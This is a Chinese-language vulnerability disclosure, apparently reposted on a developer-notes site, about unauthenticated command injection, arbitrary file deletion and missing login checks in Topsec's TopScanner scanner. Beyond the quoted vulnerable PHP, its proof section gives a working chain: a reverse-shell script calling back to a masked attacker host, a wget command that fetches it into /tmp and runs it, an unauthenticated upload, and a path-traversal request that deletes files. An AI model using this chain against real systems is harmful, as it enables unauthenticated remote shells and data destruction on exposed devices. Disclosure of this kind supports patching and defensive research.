热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

天融信TopScanner多处高危漏洞大礼包终结版(无需登录)网站安全分享!

天融信TopScanner多处高危漏洞终结大礼包,命令执行,任意文件删除,全局设计缺陷等,均无需登


天融信TopScanner多处高危%ignore_a_1%终结大礼包,命令执行,任意文件删除,全局设计缺陷等,均无需登录,成功shell。

0x01 多处命令执行漏洞

文件direct/polling/CommandsPolling.php

 include_once 'command/CCmdsPolling.php';  $command = isset($_POST['command'])?$_POST['command']:""; $saveFile = isset($_POST['filename'])?$_POST['filename']:""; $cmdParam = isset($_POST['cmdParam'])?$_POST['cmdParam']:""; $cmdParam = trim($cmdParam); $faultStr = json_encode(array('type'=>'event', 'name'=>'message', 'data'=>array("exception", "", "") ));  //command is null if(empty($command)){       echo $faultStr;     exit(); }  //exec and get result $result = array(); $pollingObj = new CCmdsPolling(); if($command == "ping") {     $result = $pollingObj->getPingInfo($cmdParam, $saveFile); } else if ($command == "traceroute") {     $result = $pollingObj->getTracerouteInfo($cmdParam, $saveFile); } else {     echo $faultStr;     exit(); }

第一处命令执行:

当$command == "ping"时,$cmdParam和$saveFile进入getPingInfo函数

跟进文件command/CCmdsPolling.php
 

 function getPingInfo($pingIp, $saveFile)     {         $info=array();          if(empty($saveFile)) {            $saveFile = self::ping($pingIp);  //第一次发送命令,执行命令,生成需要的文件        }

当$saveFile等于空时,继续跟进ping函数
 

 function ping($ip)     {         if(empty($ip))             return "";                  $filename = "/tmp/" . self::getClientAddr()."ping".$ip.".txt";         if($ip && $filename) {             if(file_exists($filename) ) {                 unlink($filename);             }             $cmd = "ping -c 5 $ip > $filename  2>&1 &";             exec("$cmd ");           }         return $filename;     }

注意看这里的$filename = "/tmp/" . self::getClientAddr()."ping".$ip.".txt";

继续跟进getClientAddr函数
 

 function getClientAddr(){         unset($onlineip);           if($_SERVER['HTTP_CLIENT_IP']) {               $Onlineip=$_SERVER['HTTP_CLIENT_IP'];           }else if($_SERVER['HTTP_X_FORWARDED_FOR']) {               $Onlineip=$_SERVER['HTTP_X_FORWARDED_FOR'];           }else {               $Onlineip=$_SERVER['REMOTE_ADDR'];           }         return $onlineip;     }

这里直接获取ip,然后返回,无视此系统的GPC=on

最后$filename可控,进入exec中被执行
当然这里的ip也进入cmd,进入exec中被执行,此处已有人提交不在赘述
第二处命令执行

当$command == "traceroute"时,$cmdParam, $saveFile进入getTracerouteInfo函数

跟进getTracerouteInfo函数,文件command/CCmdsPolling.php
 

 function getTracerouteInfo($address, $saveFile)     {          $info=array();           if(empty($saveFile)) {            $saveFile = self::traceroute($address);  //第一次发送命令,执行命令,生成需要的文件         }

跟进traceroute函数:
 

 function traceroute($address)     {         if(!$address)             return "";                  $filename = "/tmp/". self::getClientAddr()."traceroute".$address.".txt";         if($address && $filename) {             if(file_exists($filename)) {                 unlink($filename);             }             $cmd = "traceroute -m " . self::trace_max_hops . " -n $address > $filename 2>&1 &";             exec("$cmd ");          }         return $filename;     }

注意看这里的$filename = "/tmp/" . self::getClientAddr()."ping".$ip.".txt";

继续跟进getClientAddr函数
 

 function getClientAddr(){         unset($onlineip);           if($_SERVER['HTTP_CLIENT_IP']) {               $Onlineip=$_SERVER['HTTP_CLIENT_IP'];           }else if($_SERVER['HTTP_X_FORWARDED_FOR']) {               $Onlineip=$_SERVER['HTTP_X_FORWARDED_FOR'];           }else {               $Onlineip=$_SERVER['REMOTE_ADDR'];           }         return $onlineip;     }

这里直接获取ip,然后返回,无视此系统的GPC=on

最后$filename可控,进入exec中被执行
当然这里的ip也进入cmd,进入exec中被执行,此处已有人提交不在赘述

0x02 多处任意文件删除漏洞

第一处文件删除:

文件/task/webapi/update.php

 require_once("datalayer/CDatalayer.php"); include_once "base/CShellExec.php";  $shell = new CShellExec(); $dl = new DataLayer(); $cn = $dl->connectDB(); $dl->queryDB($cn,"use scandb"); $dl->queryDB($cn,"delete from t_pluginadding"); $success = false;  $result = $dl->queryDB($cn,"select * from t_SystemProperty where System_Property='vul_current_version'"); $row = $dl->fetchArray($result); $vulCurrentVersion = $row["System_Value"]; $dl->queryDB($cn,"update t_SystemProperty set System_value='$vulCurrentVersion' where System_Property='vul_old_version'");  set_time_limit(0); if($_GET["package"]) { $filename = $_GET["package"]; $tmpFilename = "/tmp/update_".time().".des";  $filename = trim($filename,"\"); $filename = "/tmp/".$filename;  $cmd = "/usr/sbin/openssl enc -des -d -a -in ".$filename." -out ".$tmpFilename." -pass pass:[email protected]";  $shell->Execute($cmd,"",true); $dirname = $tmpFilename.".dir"; mkdir($dirname,0777); } else { ...... } ...... unlink($filename); unlink($tmpFilename); system("rm -rf ".$dirname); echo $success; ?>

可以看到$filename = $_GET["package"];

然后进过一些操作后并没有exit

最后$filename进入unlink,导致任意文件删除
当然这里也是存在命令执行的,在$shell->Execute这里

因为已经有人提交了,就不在赘述了

第二处和第三处文件删除:

文件direct/polling/CommandsPolling.php
 

 include_once 'command/CCmdsPolling.php';  $command = isset($_POST['command'])?$_POST['command']:""; $saveFile = isset($_POST['filename'])?$_POST['filename']:""; $cmdParam = isset($_POST['cmdParam'])?$_POST['cmdParam']:""; $cmdParam = trim($cmdParam); $faultStr = json_encode(array('type'=>'event', 'name'=>'message', 'data'=>array("exception", "", "") ));  //command is null if(empty($command)){       echo $faultStr;     exit(); }  //exec and get result $result = array(); $pollingObj = new CCmdsPolling(); if($command == "ping") {     $result = $pollingObj->getPingInfo($cmdParam, $saveFile); } else if ($command == "traceroute") {     $result = $pollingObj->getTracerouteInfo($cmdParam, $saveFile); } else {     echo $faultStr;     exit(); }

$cmdParam, $saveFile参数分别进入getPingInfo和getTracerouteInfo函数

跟进getPingInfo和getTracerouteInfo函数
 

 function getPingInfo($pingIp, $saveFile)     {         $info=array();          if(empty($saveFile)) {            $saveFile = self::ping($pingIp);  //第一次发送命令,执行命令,生成需要的文件        } ...... function ping($ip)     {         if(empty($ip))             return "";                  $filename = "/tmp/" . self::getClientAddr()."ping".$ip.".txt";         if($ip && $filename) {             if(file_exists($filename) ) {                 unlink($filename);             }             $cmd = "ping -c 5 $ip > $filename  2>&1 &";             exec("$cmd ");           }         return $filename;     } ...... function getClientAddr(){         unset($onlineip);           if($_SERVER['HTTP_CLIENT_IP']) {               $Onlineip=$_SERVER['HTTP_CLIENT_IP'];           }else if($_SERVER['HTTP_X_FORWARDED_FOR']) {               $Onlineip=$_SERVER['HTTP_X_FORWARDED_FOR'];           }else {               $Onlineip=$_SERVER['REMOTE_ADDR'];           }         return $onlineip;     }

可见在getPingInfo函数中,然后当$saveFile为空时进入ping函数

然后在ping函数中:

$filename = "/tmp/" . self::getClientAddr()."ping".$ip.".txt";

继续看看getClientAddr函数中,直接从$_SERVER中获取ip地址,然后返回

所以这里就无视GPC了,且此系统时GPC=on的

最后导致ping函数中的$filename可控,最后$filename进入unlink函数中

$filename的值可用%00截断,导致任意文件删除
第三处和第二处原理一样

在traceroute函数中的$filename可控,最后$filename进入unlink函数中

$filename的值可用%00截断,导致任意文件删除

0x03 全局设计缺陷

为什么叫全局,因为这是一个安全产品,说有功能都应该是登陆后操作

但是这里在对对应功能操作是,根本没有验证登录状态

所以无需登录就可操作全局页面功能

此系统是设有全局登录验证函数的:

如direct/polling/progressbarPolling.php文件
 

 if(!($userName = GetSessionVariable('userName'))){   //取得登录用户名 echo json_encode(array( 'type'=>'event', 'name'=>'np_probe_device_alive_event', 'data'=>false )); exit(); }

这里进行了登录状态验证,session中没有username即exit,看看GetSessionVariable函数

文件base/session.php
 

 function GetSessionVariable($key) {     return $_SESSION[netpower][$key]; }

从session中取userName得内容

但是95%以上的地方都没有使用这样的验证

如device/device_export.php直接导出设备信息

distribute/vuldetial.php所以插件漏洞信息

policy/param_export.php策略信息导出

task/task_export.php任务信息导出

等等

命令执行证明:

当command=ping,filename为空,cmdParam不为空

1、在vps上放置shell.php,内容为:
 

 $sock=fsockopen("*.*.*.*",61234); exec("/bin/sh -i <&3 >&3 2>&3"); ?>

2、利用这里的命令执行,下载shell.php文件到目标tmp目录下
 

 wget  http://*.*.*.*:8888/shell.php -O /tmp/shell.php

 

天融信TopScanner多处高危漏洞大礼包终结版(无需登录)

3、然后利用这里的命令执行,执行下载后的/tmp/shell.php
 

 php -f /tmp/shell.php

 

天融信TopScanner多处高危漏洞大礼包终结版(无需登录)

4、成功反弹shell
 

天融信TopScanner多处高危漏洞大礼包终结版(无需登录)

当command=traceroute时同理

文件删除证明:

利用设计缺陷中的无需登录文件上传,上传一个文件上去

文件device/device_import.php
 

 /*  * 上传文件  */  $UploadAction=0;  $TimeLimit=60; /*设置超时限制时间 缺省时间为 30秒 设置为0时为不限时 */  set_time_limit($TimeLimit);    if(move_uploaded_file($_FILES["importUpload"]["tmp_name"],"/tmp/" . $_FILES["importUpload"]["name"]))    {    chmod("/tmp/".$_FILES["importUpload"]["name"],0777);        echo &#39;{success:true, file:&#39;.json_encode(&#39;文件已经被存储到:&#39;.&#39;/tmp/&#39;.$_FILES[&#39;importUpload&#39;][&#39;name&#39;]).&#39;}&#39;;    }else{        echo &#39;{faliure:true, file:上传出错!}&#39;;       } set_time_limit(30); //恢复缺省超时设置 ?>

上传文件到tmp下:
 

天融信TopScanner多处高危漏洞大礼包终结版(无需登录)

成功上传:
 

天融信TopScanner多处高危漏洞大礼包终结版(无需登录)

发送请求:
 

 **.**.**.**/task/webapi/update.php?package=../../../../../../../tmp/1

即可删除文件/tmp/1
 

天融信TopScanner多处高危漏洞大礼包终结版(无需登录)

 

天融信TopScanner多处高危漏洞大礼包终结版(无需登录)

成功删除 

www.dengb.comtruehttp://www.dengb.com/wzaq/1121827.htmlTechArticle天融信TopScanner多处高危漏洞大礼包终结版(无需登录) 天融信TopScanner多处高危漏洞终结大礼包,命令执行,任意文件删除,全局设计缺陷等…

—-想了解更多的网站安全相关处理怎么解决关注<编程笔记>


推荐阅读
  • 腾讯安全平台部招聘安全工程师和数据分析工程师
    腾讯安全平台部正在招聘安全工程师和数据分析工程师。安全工程师负责安全问题和安全事件的跟踪和分析,提供安全测试技术支持;数据分析工程师负责安全产品相关系统数据统计和分析挖掘,通过用户行为数据建模为业务决策提供参考。招聘要求包括熟悉渗透测试和常见安全工具原理,精通Web漏洞,熟练使用多门编程语言等。有相关工作经验和在安全站点发表作品的候选人优先考虑。 ... [详细]
  • 本文介绍了使用AJAX的POST请求实现数据修改功能的方法。通过ajax-post技术,可以实现在输入某个id后,通过ajax技术调用post.jsp修改具有该id记录的姓名的值。文章还提到了AJAX的概念和作用,以及使用async参数和open()方法的注意事项。同时强调了不推荐使用async=false的情况,并解释了JavaScript等待服务器响应的机制。 ... [详细]
  • 如何使用Java获取服务器硬件信息和磁盘负载率
    本文介绍了使用Java编程语言获取服务器硬件信息和磁盘负载率的方法。首先在远程服务器上搭建一个支持服务端语言的HTTP服务,并获取服务器的磁盘信息,并将结果输出。然后在本地使用JS编写一个AJAX脚本,远程请求服务端的程序,得到结果并展示给用户。其中还介绍了如何提取硬盘序列号的方法。 ... [详细]
  • 本文介绍了在Win10上安装WinPythonHadoop的详细步骤,包括安装Python环境、安装JDK8、安装pyspark、安装Hadoop和Spark、设置环境变量、下载winutils.exe等。同时提醒注意Hadoop版本与pyspark版本的一致性,并建议重启电脑以确保安装成功。 ... [详细]
  • 本文介绍了使用postman进行接口测试的方法,以测试用户管理模块为例。首先需要下载并安装postman,然后创建基本的请求并填写用户名密码进行登录测试。接下来可以进行用户查询和新增的测试。在新增时,可以进行异常测试,包括用户名超长和输入特殊字符的情况。通过测试发现后台没有对参数长度和特殊字符进行检查和过滤。 ... [详细]
  • 知识图谱——机器大脑中的知识库
    本文介绍了知识图谱在机器大脑中的应用,以及搜索引擎在知识图谱方面的发展。以谷歌知识图谱为例,说明了知识图谱的智能化特点。通过搜索引擎用户可以获取更加智能化的答案,如搜索关键词"Marie Curie",会得到居里夫人的详细信息以及与之相关的历史人物。知识图谱的出现引起了搜索引擎行业的变革,不仅美国的微软必应,中国的百度、搜狗等搜索引擎公司也纷纷推出了自己的知识图谱。 ... [详细]
  • 本文介绍了高校天文共享平台的开发过程中的思考和规划。该平台旨在为高校学生提供天象预报、科普知识、观测活动、图片分享等功能。文章分析了项目的技术栈选择、网站前端布局、业务流程、数据库结构等方面,并总结了项目存在的问题,如前后端未分离、代码混乱等。作者表示希望通过记录和规划,能够理清思路,进一步完善该平台。 ... [详细]
  • 在CentOS/RHEL 7/6,Fedora 27/26/25上安装JAVA 9的步骤和方法
    本文介绍了在CentOS/RHEL 7/6,Fedora 27/26/25上安装JAVA 9的详细步骤和方法。首先需要下载最新的Java SE Development Kit 9发行版,然后按照给出的Shell命令行方式进行安装。详细的步骤和方法请参考正文内容。 ... [详细]
  • 本文介绍了绕过WAF的XSS检测机制的方法,包括确定payload结构、测试和混淆。同时提出了一种构建XSS payload的方法,该payload与安全机制使用的正则表达式不匹配。通过清理用户输入、转义输出、使用文档对象模型(DOM)接收器和源、实施适当的跨域资源共享(CORS)策略和其他安全策略,可以有效阻止XSS漏洞。但是,WAF或自定义过滤器仍然被广泛使用来增加安全性。本文的方法可以绕过这种安全机制,构建与正则表达式不匹配的XSS payload。 ... [详细]
  • 十大经典排序算法动图演示+Python实现
    本文介绍了十大经典排序算法的原理、演示和Python实现。排序算法分为内部排序和外部排序,常见的内部排序算法有插入排序、希尔排序、选择排序、冒泡排序、归并排序、快速排序、堆排序、基数排序等。文章还解释了时间复杂度和稳定性的概念,并提供了相关的名词解释。 ... [详细]
  • ShiftLeft:将静态防护与运行时防护结合的持续性安全防护解决方案
    ShiftLeft公司是一家致力于将应用的静态防护和运行时防护与应用开发自动化工作流相结合以提升软件开发生命周期中的安全性的公司。传统的安全防护方式存在误报率高、人工成本高、耗时长等问题,而ShiftLeft提供的持续性安全防护解决方案能够解决这些问题。通过将下一代静态代码分析与应用开发自动化工作流中涉及的安全工具相结合,ShiftLeft帮助企业实现DevSecOps的安全部分,提供高效、准确的安全能力。 ... [详细]
  • 使用C++编写程序实现增加或删除桌面的右键列表项
    本文介绍了使用C++编写程序实现增加或删除桌面的右键列表项的方法。首先通过操作注册表来实现增加或删除右键列表项的目的,然后使用管理注册表的函数来编写程序。文章详细介绍了使用的五种函数:RegCreateKey、RegSetValueEx、RegOpenKeyEx、RegDeleteKey和RegCloseKey,并给出了增加一项的函数写法。通过本文的方法,可以方便地自定义桌面的右键列表项。 ... [详细]
  • Apache Shiro 身份验证绕过漏洞 (CVE202011989) 详细解析及防范措施
    本文详细解析了Apache Shiro 身份验证绕过漏洞 (CVE202011989) 的原理和影响,并提供了相应的防范措施。Apache Shiro 是一个强大且易用的Java安全框架,常用于执行身份验证、授权、密码和会话管理。在Apache Shiro 1.5.3之前的版本中,与Spring控制器一起使用时,存在特制请求可能导致身份验证绕过的漏洞。本文还介绍了该漏洞的具体细节,并给出了防范该漏洞的建议措施。 ... [详细]
  • Tomcat安装与配置教程及常见问题解决方法
    本文介绍了Tomcat的安装与配置教程,包括jdk版本的选择、域名解析、war文件的部署和访问、常见问题的解决方法等。其中涉及到的问题包括403问题、数据库连接问题、1130错误、2003错误、Java Runtime版本不兼容问题以及502错误等。最后还提到了项目的前后端连接代码的配置。通过本文的指导,读者可以顺利完成Tomcat的安装与配置,并解决常见的问题。 ... [详细]
  • 浅解XXE与Portswigger Web Sec
    XXE与PortswiggerWebSec​相关链接:​博客园​安全脉搏​FreeBuf​XML的全称为XML外部实体注入,在学习的过程中发现有回显的XXE并不多,而 ... [详细]
author-avatar
tomphilip_399_140
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有